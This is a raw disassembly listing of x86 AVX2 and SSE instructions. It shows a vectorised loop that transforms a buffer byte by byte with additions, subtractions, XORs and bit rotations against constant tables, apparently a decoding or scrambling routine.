vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af6]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [esp + 0x14]
vpxor xmm6, xmm6, xmm6
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4379e0]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af7]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x437a00]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymmword [0x417aa0]
vpaddb ymm4, ymm0, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpcmpeqd ymm3, ymm3, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x417360]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpbroadcastb ymm2, byte [0x417ae3]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpcmpeqd ymm2, ymm2, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpbroadcastb ymm7, byte [0x417ae4]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm6, ymm0, ymm3
vpbroadcastb ymm3, byte [0x417ae5]
vpaddb ymm4, ymm4, ymm6
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm3, ymm4
vpxor xmm3, xmm3, xmm3
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x437a40]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm2
vpbroadcastb ymm2, byte [0x417aeb]
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af8]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af9]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [0x417420]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm5
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm5, ymm6
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm3, ymm4
vpbroadcastb ymm3, byte [0x417ae3]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x437a60]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417afa]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417afb]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpbroadcastb ymm7, byte [0x417afc]
vpor ymm4, ymm4, ymm6
vpaddb ymm6, ymm4, ymmword [0x437a80]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm5
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm5, ymm6
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417afd]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymmword [0x417aa0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpbroadcastb ymm7, byte [0x417afe]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x417780]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x437aa0]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417aff]
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b00]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b01]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpbroadcastb ymm7, byte [0x417ae7]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpbroadcastb ymm2, byte [0x417ae4]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x437ac0]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vmovdqa ymm2, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x437ae0]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vmovdqa ymm3, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b02]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4379a0]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vmovdqa ymm1, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b03]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpbroadcastb ymm7, byte [0x417aeb]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpbroadcastb ymm2, byte [0x417ae4]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x437b20]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm2, ymm6
vpand ymm4, ymm4, ymm2
vpxor xmm2, xmm2, xmm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vmovdqa ymm1, ymm0
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str.VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x437b60]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b04]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm2, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b05]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpbroadcastb ymm0, byte [0x417ae7]
vpsubb ymm4, ymm2, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymmword [0x417aa0]
vmovdqu ymm2, ymmword [esp + 0x14]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm2, ymm4
vpaddb ymm4, ymm4, ymmword [0x417280]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm0, ymm6
vpand ymm4, ymm4, ymm0
vmovdqa ymm0, ymm1
vpbroadcastb ymm1, byte [0x417ae3]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm7
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4175c0]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417b06]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm7
vmovdqa ymm7, ymm1
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x417440]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417ae7]
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x4378a0]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm6, ymm4, ymmword [str.tttttttttttttttttttttttttttttttt]
vpsllw ymm4, ymm4, 7
vpand ymm4, ymm4, ymm5
vpsrlw ymm6, ymm6, 1
vpandn ymm6, ymm5, ymm6
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [str.55555555555555555555555555555555_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a________________]
vpaddb ymm0, ymm0, ymmword [0x417560]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417b07]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm1, ymm4
vpbroadcastb ymm1, byte [0x417ae4]
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417af2]
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm1, ymm4
vmovdqa ymm1, ymm7
vpbroadcastb ymm1, byte [0x417b08]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm2, ymm4
vpaddb ymm4, ymm4, ymmword [str._a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a________________________________]
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm1, ymm4
vmovdqu ymmword [esp + eax + 0xb3], ymm4
add eax, 0x20
cmp eax, 0x17e0
jne 0x403e30
vmovdqa xmm0, xmmword [0x4177a0]
vpbroadcastb xmm5, byte [0x417ae1]
mov edi, dword [esp + 4]
xor eax, eax
nop dword [eax]
vpbroadcastb xmm4, byte [0x417ae2]
vpbroadcastb xmm1, byte [0x417ae1]
vpbroadcastb xmm2, byte [0x417ae3]
vpbroadcastb xmm3, byte [0x417ae4]
vpbroadcastb xmm6, byte [0x417ae5]
vpaddb xmm4, xmm4, xmmword [esp + eax + 0x1893]
vpsrlw xmm7, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm7, xmm1, xmm7
vpand xmm4, xmm4, xmm1
vpcmpeqd xmm1, xmm1, xmm1
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x437bb0]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x437bc0]
vpxor xmm4, xmm4, xmm1
vpxor xmm1, xmm1, xmm1
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmmword [0x437bd0]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417ae6]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm1, xmm4
vpbroadcastb xmm1, byte [0x417ae7]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmmword [0x437be0]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417ae8]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpbroadcastb xmm3, byte [0x417ae9]
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417aea]
vpsrlw xmm7, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm7, xmm0, xmm6
vpaddb xmm4, xmm7, xmm4
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [0x417900]
vpsrlw xmm7, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm7, xmm1, xmm7
vpand xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417ae4]
vpor xmm4, xmm4, xmm7
vpxor xmm4, xmm4, xmmword [0x417a90]
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x417a50]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm1, xmm7
vpand xmm4, xmm4, xmm1
vpaddb xmm1, xmm0, xmm0
vpor xmm4, xmm4, xmm7
vmovdqu xmmword [esp + 0x14], xmm1
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417aeb]
vpsrlw xmm7, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm7, xmm7, xmm6
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm1, xmm4
vpaddb xmm4, xmm4, xmmword [0x437c00]
vpcmpeqd xmm1, xmm1, xmm1
vpsrlw xmm7, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm7, xmm7, xmm6
vpbroadcastb xmm6, byte [0x417aec]
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417aed]
vpsrlw xmm7, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm7, xmm5, xmm7
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm7, xmm5, xmm7
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmmword [0x437c10]
vpsrlw xmm7, xmm4, 5
vpsllw xmm4, xmm4, 3
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpxor xmm3, xmm3, xmm3
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417ae7]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm3, xmm4
vpsrlw xmm7, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm7, xmm6, xmm7
vpand xmm4, xmm4, xmm6
vmovdqa xmm3, xmm6
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm6, xmm4
vpbroadcastb xmm6, byte [0x417aee]
vpsrlw xmm7, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm7, xmm5, xmm7
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417ae4]
vpsrlw xmm7, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm7, xmm6, xmm7
vpand xmm4, xmm4, xmm6
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmmword [0x437c30]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm7
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm7, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm7, xmm3, xmm7
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm7
vpsubb xmm4, xmm4, xmm0
vpaddb xmm4, xmm4, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n________________]
vpsrlw xmm7, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm7, xmm2, xmm7
vpand xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x417aeb]
vpor xmm7, xmm4, xmm7
vpaddb xmm4, xmm0, xmmword [esp + 0x14]
vpsubb xmm7, xmm4, xmm7
vpaddb xmm7, xmm7, xmmword [0x437c50]
vpsrlw xmm6, xmm7, 7
vpaddb xmm7, xmm7, xmm7
vpand xmm6, xmm6, xmm2
vpor xmm6, xmm7, xmm6
vpbroadcastb xmm7, byte [0x417aef]
vpsubb xmm6, xmm7, xmm6
vpsrlw xmm7, xmm6, 1
vpsllw xmm6, xmm6, 7
vpandn xmm7, xmm5, xmm7
vpand xmm6, xmm6, xmm5
vpor xmm6, xmm6, xmm7
vpxor xmm6, xmm6, xmm1
vpsrlw xmm7, xmm6, 7
vpaddb xmm6, xmm6, xmm6
vpand xmm7, xmm7, xmm2
vpbroadcastb xmm2, byte [0x417ae4]
vpor xmm6, xmm6, xmm7
vpbroadcastb xmm7, byte [0x417af0]
vpaddb xmm4, xmm4, xmm6
vpsubb xmm4, xmm7, xmm4
vpsrlw xmm6, xmm4, 4
vpsllw xmm4, xmm4, 4
vpandn xmm6, xmm7, xmm6
vpand xmm4, xmm4, xmm7
vpbroadcastb xmm7, byte [0x417aeb]
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af1]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 3
vpsllw xmm4, xmm4, 5
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x417ae3]
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af2]
vpaddb xmm4, xmm4, xmm6
vpsrlw xmm6, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vmovdqa xmm2, xmm3
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x437c60]
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm1
vpbroadcastb xmm1, byte [0x417ae9]
vpsubb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpor xmm4, xmm4, xmm6
vpsubb xmm4, xmm3, xmm4
vpsrlw xmm6, xmm4, 1
vpsllw xmm4, xmm4, 7
vpandn xmm6, xmm5, xmm6
vpand xmm4, xmm4, xmm5
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x417af3]
vpsubb xmm4, xmm6, xmm4
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm3, xmm6
vpand xmm4, xmm4, xmm3
vpcmpeqd xmm3, xmm3, xmm3
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm3
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x437c70]
vpsrlw xmm6, xmm4, 7
vpaddb xmm4, xmm4, xmm4
vpand xmm6, xmm6, xmm7
vpor xmm4, xmm4, xmm6
vpaddb xmm4, xmm4, xmm0
vpsrlw xmm6, xmm4, 6
vpsllw xmm4, xmm4, 2
vpandn xmm6, xmm2, xmm6
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm6
vpxor xmm4, xmm4, xmm3
vpaddb xmm4, xmm0, xmm4
vpaddb xmm4, xmm4, xmmword [0x4179a0]
